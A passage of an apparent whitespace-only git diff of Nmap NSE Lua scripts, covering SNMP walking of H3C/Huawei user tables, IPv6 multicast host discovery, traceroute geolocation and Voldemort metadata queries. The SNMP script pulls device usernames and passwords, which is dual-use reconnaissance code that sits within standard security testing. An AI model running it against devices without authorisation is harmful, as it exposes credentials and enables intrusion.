"1.3.6.1.4.1.2011.10.2.12.1.1.1.2" - local h3cUserLevel = "1.3.6.1.4.1.2011.10.2.12.1.1.1.4" - local h3cUserState = "1.3.6.1.4.1.2011.10.2.12.1.1.1.5" + -- h3c-user MIB OIDs (oldoid) + local h3cUserName = "1.3.6.1.4.1.2011.10.2.12.1.1.1.1" + local h3cUserPassword = "1.3.6.1.4.1.2011.10.2.12.1.1.1.2" + local h3cUserLevel = "1.3.6.1.4.1.2011.10.2.12.1.1.1.4" + local h3cUserState = "1.3.6.1.4.1.2011.10.2.12.1.1.1.5" - -- hh3c-user MIB OIDs (newoid) - local hh3cUserName = "1.3.6.1.4.1.25506.2.12.1.1.1.1" - local hh3cUserPassword = "1.3.6.1.4.1.25506.2.12.1.1.1.2" - local hh3cUserLevel = "1.3.6.1.4.1.25506.2.12.1.1.1.4" - local hh3cUserState = "1.3.6.1.4.1.25506.2.12.1.1.1.5" + -- hh3c-user MIB OIDs (newoid) + local hh3cUserName = "1.3.6.1.4.1.25506.2.12.1.1.1.1" + local hh3cUserPassword = "1.3.6.1.4.1.25506.2.12.1.1.1.2" + local hh3cUserLevel = "1.3.6.1.4.1.25506.2.12.1.1.1.4" + local hh3cUserState = "1.3.6.1.4.1.25506.2.12.1.1.1.5" - local output = stdnse.output_table() - output.users = {} + local output = stdnse.output_table() + output.users = {} - for _, v in ipairs( tbl ) do + for _, v in ipairs( tbl ) do - if ( v.oid:match("^" .. h3cUserName) ) then - local item = {} - local oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserPassword) - local password = get_value_from_table( tbl, oldobjid ) + if ( v.oid:match("^" .. h3cUserName) ) then + local item = {} + local oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserPassword) + local password = get_value_from_table( tbl, oldobjid ) - if ( password == nil ) or ( #password == 0 ) then - local newobjid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserPassword) - password = get_value_from_table( tbl, newobjid ) - end + if ( password == nil ) or ( #password == 0 ) then + local newobjid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserPassword) + password = get_value_from_table( tbl, newobjid ) + end - oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserLevel) - local level = get_value_from_table( tbl, oldobjid ) + oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserLevel) + local level = get_value_from_table( tbl, oldobjid ) - if ( level == nil ) then - local newobjoid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserLevel) - level = get_value_from_table( tbl, oldobjid ) - end + if ( level == nil ) then + local newobjoid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserLevel) + level = get_value_from_table( tbl, oldobjid ) + end - output.users[#output.users + 1] = {username=v.value, password=password, level=level} - end + output.users[#output.users + 1] = {username=v.value, password=password, level=level} + end - end + end - return output + return output end action = function(host, port) - local socket = nmap.new_socket() - local catch = function() socket:close() end - local try = nmap.new_try(catch) - local data, oldsnmpoid = nil, "1.3.6.1.4.1.2011.10.2.12.1.1.1" - local data, newsnmpoid = nil, "1.3.6.1.4.1.25506.2.12.1.1.1" - local users = {} - local status + local socket = nmap.new_socket() + local catch = function() socket:close() end + local try = nmap.new_try(catch) + local data, oldsnmpoid = nil, "1.3.6.1.4.1.2011.10.2.12.1.1.1" + local data, newsnmpoid = nil, "1.3.6.1.4.1.25506.2.12.1.1.1" + local users = {} + local status - socket:set_timeout(5000) - try(socket:connect(host, port)) + socket:set_timeout(5000) + try(socket:connect(host, port)) - status, users = snmp.snmpWalk( socket, oldsnmpoid ) - socket:close() + status, users = snmp.snmpWalk( socket, oldsnmpoid ) + socket:close() - if (not(status)) or ( users == nil ) or ( #users == 0 ) then + if (not(status)) or ( users == nil ) or ( #users == 0 ) then - -- no status? try new snmp oid - socket:set_timeout(5000) - try(socket:connect(host, port)) - status, users = snmp.snmpWalk( socket, newsnmpoid ) - socket:close() + -- no status? try new snmp oid + socket:set_timeout(5000) + try(socket:connect(host, port)) + status, users = snmp.snmpWalk( socket, newsnmpoid ) + socket:close() - if (not(status)) or ( users == nil ) or ( #users == 0 ) then - return users - end + if (not(status)) or ( users == nil ) or ( #users == 0 ) then + return users + end - end + end - nmap.set_port_state(host, port, "open") - return process_answer(users) + nmap.set_port_state(host, port, "open") + return process_answer(users) end diff --git a/scripts/targets-ipv6-multicast-echo.nse b/scripts/targets-ipv6-multicast-echo.nse index 739ed2a03..064d69bf4 100644 --- a/scripts/targets-ipv6-multicast-echo.nse +++ b/scripts/targets-ipv6-multicast-echo.nse @@ -32,139 +32,139 @@ categories = {"discovery","broadcast"} prerule = function() - return nmap.is_privileged() + return nmap.is_privileged() end local function get_interfaces() - local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface") - or nmap.get_interface() + local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface") + or nmap.get_interface() - -- interfaces list (decide which interfaces to broadcast on) - local interfaces = {} - if interface_name then - -- single interface defined - local if_table = nmap.get_interface_info(interface_name) - if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then - interfaces[#interfaces + 1] = if_table - else - stdnse.print_debug("Interface not supported or not properly configured.") - end - else - for _, if_table in ipairs(nmap.list_interfaces()) do - if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then - table.insert(interfaces, if_table) - end - end - end + -- interfaces list (decide which interfaces to broadcast on) + local interfaces = {} + if interface_name then + -- single interface defined + local if_table = nmap.get_interface_info(interface_name) + if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then + interfaces[#interfaces + 1] = if_table + else + stdnse.print_debug("Interface not supported or not properly configured.") + end + else + for _, if_table in ipairs(nmap.list_interfaces()) do + if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then + table.insert(interfaces, if_table) + end + end + end - return interfaces + return interfaces end local function single_interface_broadcast(if_nfo, results) - stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device) + stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device) - local condvar = nmap.condvar(results) - local src_mac = if_nfo.mac - local src_ip6 = packet.ip6tobin(if_nfo.address) - local dst_mac = packet.mactobin("33:33:00:00:00:01") - local dst_ip6 = packet.ip6tobin("ff02::1") + local condvar = nmap.condvar(results) + local src_mac = if_nfo.mac + local src_ip6 = packet.ip6tobin(if_nfo.address) + local dst_mac = packet.mactobin("33:33:00:00:00:01") + local dst_ip6 = packet.ip6tobin("ff02::1") ----------------------------------------------------------------------------- ---Multicast echo ping probe + ---------------------------------------------------------------------------- + --Multicast echo ping probe - local dnet = nmap.new_dnet() - local pcap = nmap.new_socket() + local dnet = nmap.new_dnet() + local pcap = nmap.new_socket() - local function catch () - dnet:ethernet_close() - pcap:pcap_close() + local function catch () + dnet:ethernet_close() + pcap:pcap_close() + end + local try = nmap.new_try(catch) + + try(dnet:ethernet_open(if_nfo.device)) + pcap:pcap_open(if_nfo.device, 128, false, "icmp6 and ip6[6:1] = 58 and ip6[40:1] = 129") + + local probe = packet.Frame:new() + probe.mac_src = src_mac + probe.mac_dst = dst_mac + probe.ip_bin_src = src_ip6 + probe.ip_bin_dst = dst_ip6 + probe.echo_id = 5 + probe.echo_seq = 6 + probe.echo_data = "Nmap host discovery." + probe:build_icmpv6_echo_request() + probe:build_icmpv6_header() + probe:build_ipv6_packet() + probe:build_ether_frame() + + try(dnet:ethernet_send(probe.frame_buf)) + + pcap:set_timeout(1000) + local pcap_timeout_count = 0 + local nse_timeout = 5 + local start_time = nmap:clock() + local cur_time = nmap:clock() + + repeat + local status, length, layer2, layer3 = pcap:pcap_receive() + cur_time = nmap:clock() + if not status then + pcap_timeout_count = pcap_timeout_count + 1 + else + local reply = packet.Frame:new(layer2..layer3) + if reply.mac_dst == src_mac then + local target_str = reply.ip_src + if not results[target_str] then + if target.ALLOW_NEW_TARGETS then + target.add(target_str) + end + results[#results + 1] = { address = target_str, mac = stdnse.format_mac(reply.mac_src), iface = if_nfo.device } + results[target_str] = true + end + end end - local try = nmap.new_try(catch) + until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout - try(dnet:ethernet_open(if_nfo.device)) - pcap:pcap_open(if_nfo.device, 128, false, "icmp6 and ip6[6:1] = 58 and ip6[40:1] = 129") + dnet:ethernet_close() + pcap:pcap_close() - local probe = packet.Frame:new() - probe.mac_src = src_mac - probe.mac_dst = dst_mac - probe.ip_bin_src = src_ip6 - probe.ip_bin_dst = dst_ip6 - probe.echo_id = 5 - probe.echo_seq = 6 - probe.echo_data = "Nmap host discovery." - probe:build_icmpv6_echo_request() - probe:build_icmpv6_header() - probe:build_ipv6_packet() - probe:build_ether_frame() - - try(dnet:ethernet_send(probe.frame_buf)) - - pcap:set_timeout(1000) - local pcap_timeout_count = 0 - local nse_timeout = 5 - local start_time = nmap:clock() - local cur_time = nmap:clock() - - repeat - local status, length, layer2, layer3 = pcap:pcap_receive() - cur_time = nmap:clock() - if not status then - pcap_timeout_count = pcap_timeout_count + 1 - else - local reply = packet.Frame:new(layer2..layer3) - if reply.mac_dst == src_mac then - local target_str = reply.ip_src - if not results[target_str] then - if target.ALLOW_NEW_TARGETS then - target.add(target_str) - end - results[#results + 1] = { address = target_str, mac = stdnse.format_mac(reply.mac_src), iface = if_nfo.device } - results[target_str] = true - end - end - end - until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout - - dnet:ethernet_close() - pcap:pcap_close() - - condvar("signal") + condvar("signal") end local function format_output(results) - local output = tab.new() + local output = tab.new() - for _, record in ipairs(results) do - tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface) - end - if #results > 0 then - output = { tab.dump(output) } - if not target.ALLOW_NEW_TARGETS then - output[#output + 1] = "Use --script-args=newtargets to add the results as targets" - end - return stdnse.format_output(true, output) - end + for _, record in ipairs(results) do + tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface) + end + if #results > 0 then + output = { tab.dump(output) } + if not target.ALLOW_NEW_TARGETS then + output[#output + 1] = "Use --script-args=newtargets to add the results as targets" + end + return stdnse.format_output(true, output) + end end action = function() - local threads = {} - local results = {} - local condvar = nmap.condvar(results) + local threads = {} + local results = {} + local condvar = nmap.condvar(results) - for _, if_nfo in ipairs(get_interfaces()) do - -- create a thread for each interface - local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results) - threads[co] = true - end + for _, if_nfo in ipairs(get_interfaces()) do + -- create a thread for each interface + local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results) + threads[co] = true + end - repeat - for thread in pairs(threads) do - if coroutine.status(thread) == "dead" then threads[thread] = nil end - end - if ( next(threads) ) then - condvar "wait" - end - until next(threads) == nil + repeat + for thread in pairs(threads) do + if coroutine.status(thread) == "dead" then threads[thread] = nil end + end + if ( next(threads) ) then + condvar "wait" + end + until next(threads) == nil - return format_output(results) + return format_output(results) end diff --git a/scripts/targets-ipv6-multicast-mld.nse b/scripts/targets-ipv6-multicast-mld.nse index c874380cd..d2e67aa77 100644 --- a/scripts/targets-ipv6-multicast-mld.nse +++ b/scripts/targets-ipv6-multicast-mld.nse @@ -35,146 +35,146 @@ categories = {"discovery","broadcast"} local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. '.timeout')) prerule = function() - if ( not(nmap.is_privileged()) ) then - stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME) - return false - end - return true + if ( not(nmap.is_privileged()) ) then + stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME) + return false + end + return true end local function get_interfaces() - local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface") - or nmap.get_interface() + local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface") + or nmap.get_interface() - -- interfaces list (decide which interfaces to broadcast on) - local interfaces = {} - if interface_name then - -- single interface defined - local if_table = nmap.get_interface_info(interface_name) - if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then - interfaces[#interfaces + 1] = if_table - else - stdnse.print_debug("Interface not supported or not properly configured.") - end - else - for _, if_table in ipairs(nmap.list_interfaces()) do - if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then - table.insert(interfaces, if_table) - end - end - end + -- interfaces list (decide which interfaces to broadcast on) + local interfaces = {} + if interface_name then + -- single interface defined + local if_table = nmap.get_interface_info(interface_name) + if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then + interfaces[#interfaces + 1] = if_table + else + stdnse.print_debug("Interface not supported or not properly configured.") + end + else + for _, if_table in ipairs(nmap.list_interfaces()) do + if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then + table.insert(interfaces, if_table) + end + end + end - return interfaces + return interfaces end local function single_interface_broadcast(if_nfo, results) - stdnse.print_debug(2, "Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device) - local condvar = nmap.condvar(results) - local src_mac = if_nfo.mac - local src_ip6 = packet.ip6tobin(if_nfo.address) - local dst_mac = packet.mactobin("33:33:00:00:00:01") - local dst_ip6 = packet.ip6tobin("ff02::1") - local gen_qry = packet.ip6tobin("::") + stdnse.print_debug(2, "Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device) + local condvar = nmap.condvar(results) + local src_mac = if_nfo.mac + local src_ip6 = packet.ip6tobin(if_nfo.address) + local dst_mac = packet.mactobin("33:33:00:00:00:01") + local dst_ip6 = packet.ip6tobin("ff02::1") + local gen_qry = packet.ip6tobin("::") - local dnet = nmap.new_dnet() - local pcap = nmap.new_socket() + local dnet = nmap.new_dnet() + local pcap = nmap.new_socket() - dnet:ethernet_open(if_nfo.device) - pcap:pcap_open(if_nfo.device, 1500, false, "ip6[40:1] == 58") + dnet:ethernet_open(if_nfo.device) + pcap:pcap_open(if_nfo.device, 1500, false, "ip6[40:1] == 58") - local probe = packet.Frame:new() - probe.mac_src = src_mac - probe.mac_dst = dst_mac - probe.ip_bin_src = src_ip6 - probe.ip_bin_dst = dst_ip6 + local probe = packet.Frame:new() + probe.mac_src = src_mac + probe.mac_dst = dst_mac + probe.ip_bin_src = src_ip6 + probe.ip_bin_dst = dst_ip6 - probe.ip6_tc = 0 - probe.ip6_fl = 0 - probe.ip6_hlimit = 1 + probe.ip6_tc = 0 + probe.ip6_fl = 0 + probe.ip6_hlimit = 1 - probe.icmpv6_type = packet.MLD_LISTENER_QUERY - probe.icmpv6_code = 0 + probe.icmpv6_type = packet.MLD_LISTENER_QUERY + probe.icmpv6_code = 0 - -- Add a non-empty payload too. - probe.icmpv6_payload = bin.pack("HA", "00 00 00 00", gen_qry) - probe:build_icmpv6_header() - probe.exheader = bin.pack("CH", packet.IPPROTO_ICMPV6, "00 05 02 00 00 01 00") - probe.ip6_nhdr = packet.IPPROTO_HOPOPTS + -- Add a non-empty payload too. + probe.icmpv6_payload = bin.pack("HA", "00 00 00 00", gen_qry) + probe:build_icmpv6_header() + probe.exheader = bin.pack("CH", packet.IPPROTO_ICMPV6, "00 05 02 00 00 01 00") + probe.ip6_nhdr = packet.IPPROTO_HOPOPTS - probe:build_ipv6_packet() - probe:build_ether_frame() + probe:build_ipv6_packet() + probe:build_ether_frame() - dnet:ethernet_send(probe.frame_buf) + dnet:ethernet_send(probe.frame_buf) - pcap:set_timeout(1000) - local pcap_timeout_count = 0 - local nse_timeout = arg_timeout or 10 - local start_time = nmap:clock() - local addrs = {} + pcap:set_timeout(1000) + local pcap_timeout_count = 0 + local nse_timeout = arg_timeout or 10 + local start_time = nmap:clock() + local addrs = {} - repeat - local status, length, layer2, layer3 = pcap:pcap_receive() - local cur_time = nmap:clock() - if ( status ) then - local l2reply = packet.Frame:new(layer2) - local reply = packet.Packet:new(layer3, length, true) - if ( reply.ip6_nhdr == packet.MLD_LISTENER_REPORT or - reply.ip6_nhdr == packet.MLDV2_LISTENER_REPORT ) then - local target_str = reply.ip_src - if not results[target_str] then - if target.ALLOW_NEW_TARGETS then - target.add(target_str) - end - results[target_str] = { address = target_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device } - end - end - end - until ( cur_time - start_time >= nse_timeout ) + repeat + local status, length, layer2, layer3 = pcap:pcap_receive() + local cur_time = nmap:clock() + if ( status ) then + local l2reply = packet.Frame:new(layer2) + local reply = packet.Packet:new(layer3, length, true) + if ( reply.ip6_nhdr == packet.MLD_LISTENER_REPORT or + reply.ip6_nhdr == packet.MLDV2_LISTENER_REPORT ) then + local target_str = reply.ip_src + if not results[target_str] then + if target.ALLOW_NEW_TARGETS then + target.add(target_str) + end + results[target_str] = { address = target_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device } + end + end + end + until ( cur_time - start_time >= nse_timeout ) - dnet:ethernet_close() - pcap:pcap_close() + dnet:ethernet_close() + pcap:pcap_close() - condvar("signal") + condvar("signal") end local function format_output(results) - local output = tab.new() + local output = tab.new() - for _, record in pairs(results) do - tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface) - end + for _, record in pairs(results) do + tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface) + end - if ( #output > 0 ) then - output = { tab.dump(output) } - if not target.ALLOW_NEW_TARGETS then - table.insert(output, "") - table.insert(output, "Use --script-args=newtargets to add the results as targets") - end - return stdnse.format_output(true, output) - end + if ( #output > 0 ) then + output = { tab.dump(output) } + if not target.ALLOW_NEW_TARGETS then + table.insert(output, "") + table.insert(output, "Use --script-args=newtargets to add the results as targets") + end + return stdnse.format_output(true, output) + end end action = function() - local threads = {} - local results = {} - local condvar = nmap.condvar(results) + local threads = {} + local results = {} + local condvar = nmap.condvar(results) - for _, if_nfo in ipairs(get_interfaces()) do - -- create a thread for each interface - local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results) - threads[co] = true - end + for _, if_nfo in ipairs(get_interfaces()) do + -- create a thread for each interface + local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results) + threads[co] = true + end - repeat - for thread in pairs(threads) do - if coroutine.status(thread) == "dead" then threads[thread] = nil end - end - if ( next(threads) ) then - condvar "wait" - end - until next(threads) == nil + repeat + for thread in pairs(threads) do + if coroutine.status(thread) == "dead" then threads[thread] = nil end + end + if ( next(threads) ) then + condvar "wait" + end + until next(threads) == nil - return format_output(results) + return format_output(results) end diff --git a/scripts/traceroute-geolocation.nse b/scripts/traceroute-geolocation.nse index 51bf4ae0c..7e0eed329 100644 --- a/scripts/traceroute-geolocation.nse +++ b/scripts/traceroute-geolocation.nse @@ -71,42 +71,42 @@ categories = {"safe", "external", "discovery"} local arg_kmlfile = stdnse.get_script_args(SCRIPT_NAME .. ".kmlfile") hostrule = function(host) - if ( not(host.traceroute) ) then - return false - end - return true + if ( not(host.traceroute) ) then + return false + end + return true end -- -- GeoPlugin requires no API key and has no limitations on lookups -- local function geoLookup(ip) - local response = http.get("www.geoplugin.net", 80, "/json.gp?ip="..ip) - local stat, loc = json.parse(response.body) + local response = http.get("www.geoplugin.net", 80, "/json.gp?ip="..ip) + local stat, loc = json.parse(response.body) - if not stat then return nil end - local output = {} - local regionName = (loc.geoplugin_regionName == json.NULL) and "Unknown" or loc.geoplugin_regionName - return loc.geoplugin_latitude, loc.geoplugin_longitude, regionName, loc.geoplugin_countryName + if not stat then return nil end + local output = {} + local regionName = (loc.geoplugin_regionName == json.NULL) and "Unknown" or loc.geoplugin_regionName + return loc.geoplugin_latitude, loc.geoplugin_longitude, regionName, loc.geoplugin_countryName end local function createKMLFile(filename, coords) - local header = '\r\n' - local footer = '' + local header = '\r\n' + local footer = '' - local output = "" - for _, coord in ipairs(coords) do - output = output .. ("%s,%s, 0.\r\n"):format(coord.lon, coord.lat) - end + local output = "" + for _, coord in ipairs(coords) do + output = output .. ("%s,%s, 0.\r\n"):format(coord.lon, coord.lat) + end - local f = io.open(filename, "w") - if ( not(f) ) then - return false, "Failed to create KML file" - end - f:write(header .. output .. footer) - f:close() + local f = io.open(filename, "w") + if ( not(f) ) then + return false, "Failed to create KML file" + end + f:write(header .. output .. footer) + f:close() - return true + return true end -- Tables used to accumulate output. @@ -115,53 +115,53 @@ local output = tab.new(4) local coordinates = {} local function output_hop(count, ip, name, rtt, lat, lon, ctry, reg) - if ip then - local label - if name then - label = ("%s (%s)"):format(name or "", ip) - else - label = ("%s"):format(ip) - end - if lat then - table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt), lat = lat, lon = lon }) - tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%d,%d %s (%s)"):format(lat, lon, ctry, reg)) - table.insert(coordinates, { hop = count, lat = lat, lon = lon }) - else - table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt) }) - tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%s,%s"):format("- ", "- ")) - end - else - table.insert(output_structured, { hop = count }) - tab.addrow(output, count, "...") - end + if ip then + local label + if name then + label = ("%s (%s)"):format(name or "", ip) + else + label = ("%s"):format(ip) + end + if lat then + table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt), lat = lat, lon = lon }) + tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%d,%d %s (%s)"):format(lat, lon, ctry, reg)) + table.insert(coordinates, { hop = count, lat = lat, lon = lon }) + else + table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt) }) + tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%s,%s"):format("- ", "- ")) + end + else + table.insert(output_structured, { hop = count }) + tab.addrow(output, count, "...") + end end action = function(host) - tab.addrow(output, "HOP", "RTT", "ADDRESS", "GEOLOCATION") - for count = 1, #host.traceroute do - local hop = host.traceroute[count] - -- avoid timedout hops, marked as empty entries - -- do not add the current scanned host.ip - if hop.ip then - local rtt = tonumber(hop.times.srtt) * 1000 - if ( not(ipOps.isPrivate(hop.ip) ) ) then - local lat, lon, reg, ctry = geoLookup(hop.ip) - output_hop(count, hop.ip, hop.name, rtt, lat, lon, ctry, reg) - else - output_hop(count, hop.ip, hop.name, rtt) - end - else - output_hop(count) - end - end + tab.addrow(output, "HOP", "RTT", "ADDRESS", "GEOLOCATION") + for count = 1, #host.traceroute do + local hop = host.traceroute[count] + -- avoid timedout hops, marked as empty entries + -- do not add the current scanned host.ip + if hop.ip then + local rtt = tonumber(hop.times.srtt) * 1000 + if ( not(ipOps.isPrivate(hop.ip) ) ) then + local lat, lon, reg, ctry = geoLookup(hop.ip) + output_hop(count, hop.ip, hop.name, rtt, lat, lon, ctry, reg) + else + output_hop(count, hop.ip, hop.name, rtt) + end + else + output_hop(count) + end + end - if (#output_structured > 0) then - output = tab.dump(output) - if ( arg_kmlfile ) then - if ( not(createKMLFile(arg_kmlfile, coordinates)) ) then - output = output .. ("\n\nERROR: Failed to write KML to file: %s"):format(arg_kmlfile) - end - end - return output_structured, stdnse.format_output(true, output) - end + if (#output_structured > 0) then + output = tab.dump(output) + if ( arg_kmlfile ) then + if ( not(createKMLFile(arg_kmlfile, coordinates)) ) then + output = output .. ("\n\nERROR: Failed to write KML to file: %s"):format(arg_kmlfile) + end + end + return output_structured, stdnse.format_output(true, output) + end end diff --git a/scripts/voldemort-info.nse b/scripts/voldemort-info.nse index 40ad11303..3ded75c39 100644 --- a/scripts/voldemort-info.nse +++ b/scripts/voldemort-info.nse @@ -52,27 +52,27 @@ local function fail(err) return ("\n ERROR: %s"):format(err or "") end -- @return status true on success, false on failure -- @return socket connected to the server local function connect(host, port) - local socket = nmap.new_socket() - socket:set_timeout(5000) + local socket = nmap.new_socket() + socket:set_timeout(5000) - local status, err = socket:connect(host, port) - if ( not(status) ) then - return false, "Failed to connect to server" - end + local status, err = socket:connect(host, port) + if ( not(status) ) then + return false, "Failed to connect to server" + end - status, err = socket:send("vp3") - if ( not(status) ) then - return false, "Failed to send request to server" - end + status, err = socket:send("vp3") + if ( not(status) ) then + return false, "Failed to send request to server" + end - local response - status, response = socket:receive(2) - if ( not(status) ) then - return false, "Failed to receive response from server" - elseif( response ~= "ok" ) then - return false, "Unsupported protocol" - end - return true, socket + local response + status, response = socket:receive(2) + if ( not(status) ) then + return false, "Failed to receive response from server" + elseif( response ~= "ok" ) then + return false, "Unsupported protocol" + end + return true, socket end -- Get Voldemort metadata @@ -82,92 +82,92 @@ end -- @return data string as received from the server local function getMetadata(socket, file) - local req = bin.pack(">HCzIcz", "0100", #("metadata"), "metadata", 0, #file, file) - local status, err = socket:send(req) - if ( not(status) ) then - return false, "Failed to send request to server" - end - local status, data = socket:receive(8) - if ( not(status) ) then - return false, "Failed to receive response from server" - end - local _, len = bin.unpack(">S", data, 9) - while( #data < len - 2 ) do - local status, tmp = socket:receive(len - 2 - #data) - if ( not(status) ) then - return false, "Failed to receive response from server" - end - data = data .. tmp - end - return true, data + local req = bin.pack(">HCzIcz", "0100", #("metadata"), "metadata", 0, #file, file) + local status, err = socket:send(req) + if ( not(status) ) then + return false, "Failed to send request to server" + end + local status, data = socket:receive(8) + if ( not(status) ) then + return false, "Failed to receive response from server" + end + local _, len = bin.unpack(">S", data, 9) + while( #data < len - 2 ) do + local status, tmp = socket:receive(len - 2 - #data) + if ( not(status) ) then + return false, "Failed to receive response from server" + end + data = data .. tmp + end + return true, data end action = function(host, port) - -- table of variables to query the server - local vars = { - ["cluster"] = { - { key = "Name", match = ".-(.-)" }, - { key = "Id", match = ".-.-(%d-).-" }, - { key = "Host", match = ".-.-(%w-).-" }, - { key = "HTTP Port", match = ".-.-(%d-).-" }, - { key = "TCP Port", match = ".-.-(%d-).-" }, - { key = "Admin Port", match = ".-.-(%d-).-" }, - { key = "Partitions", match = ".-.-([%d%s,]*).-" }, - }, - ["store"] = { - { key = "Persistence", match = ".-(.-)" }, - { key = "Description", match = ".-(.-)" }, - { key = "Owners", match = ".-(.-)" }, - { key = "Routing strategy", match = ".-(.-)" }, - { key = "Routing", match = ".-(.-)" }, - }, - } + -- table of variables to query the server + local vars = { + ["cluster"] = { + { key = "Name", match = ".-(.-)" }, + { key = "Id", match = ".-.-(%d-).-" }, + { key = "Host", match = ".-.-(%w-).-" }, + { key = "HTTP Port", match = ".-.-(%d-).-" }, + { key = "TCP Port", match = ".-.-(%d-).-" }, + { key = "Admin Port", match = ".-.-(%d-).-" }, + { key = "Partitions", match = ".-.-([%d%s,]*).-" }, + }, + ["store"] = { + { key = "Persistence", match = ".-(.-)" }, + { key = "Description", match = ".-(.-)" }, + { key = "Owners", match = ".-(.-)" }, + { key = "Routing strategy", match = ".-(.-)" }, + { key = "Routing", match = ".-(.-)" }, + }, + } - -- connect to the server - local status, socket = connect(host, port) - if ( not(status) ) then - return fail(socket) - end + -- connect to the server + local status, socket = connect(host, port) + if ( not(status) ) then + return fail(socket) + end - -- get the cluster meta data - local status, response = getMetadata(socket, "cluster.xml") - if ( not(status) or not(response:match(".*")) ) then - return - end + -- get the cluster meta data + local status, response = getMetadata(socket, "cluster.xml") + if ( not(status) or not(response:match(".*")) ) then + return + end - -- Get the cluster details - local cluster_tbl = { name = "Cluster" } - for _, item in ipairs(vars["cluster"]) do - local val = response:match(item.match) - if ( val ) then - table.insert(cluster_tbl, ("%s: %s"):format(item.key, val)) - end - end + -- Get the cluster details + local cluster_tbl = { name = "Cluster" } + for _, item in ipairs(vars["cluster"]) do + local val = response:match(item.match) + if ( val ) then + table.insert(cluster_tbl, ("%s: %s"):format(item.key, val)) + end + end - -- get the stores meta data - local status, response = getMetadata(socket, "stores.xml") - if ( not(status) or not(response:match(".-")) ) then - return - end + -- get the stores meta data + local status, response = getMetadata(socket, "stores.xml") + if ( not(status) or not(response:match(".-")) ) then + return + end - local result, stores = {}, { name = "Stores" } - table.insert(result, cluster_tbl) + local result, stores = {}, { name = "Stores" } + table.insert(result, cluster_tbl) - -- iterate over store items - for store in response:gmatch(".-") do - local name = store:match(".-(.-)") - local store_tbl = { name = name or "unknown" } + -- iterate over store items + for store in response:gmatch(".-") do + local name = store:match(".-(.-)") + local store_tbl = { name = name or "unknown" } - for _, item in ipairs(vars["store"]) do - local val = store:match(item.match) - if ( val ) then - table.insert(store_tbl, ("%s: %s"):format(item.key, val)) - end - end - table.insert(stores, store_tbl) - end - table.insert(result, stores) - return stdnse.format_output(true, result) + for _, item in ipairs(vars["store"]) do + local val = store:match(item.match) + if ( val ) then + table.insert(store_tbl, ("%s: %s"):format(item.key, val)) + end + end + table.insert(stores, store_tbl) + end + table.insert(result, stores) + return stdnse.format_output(true, result) end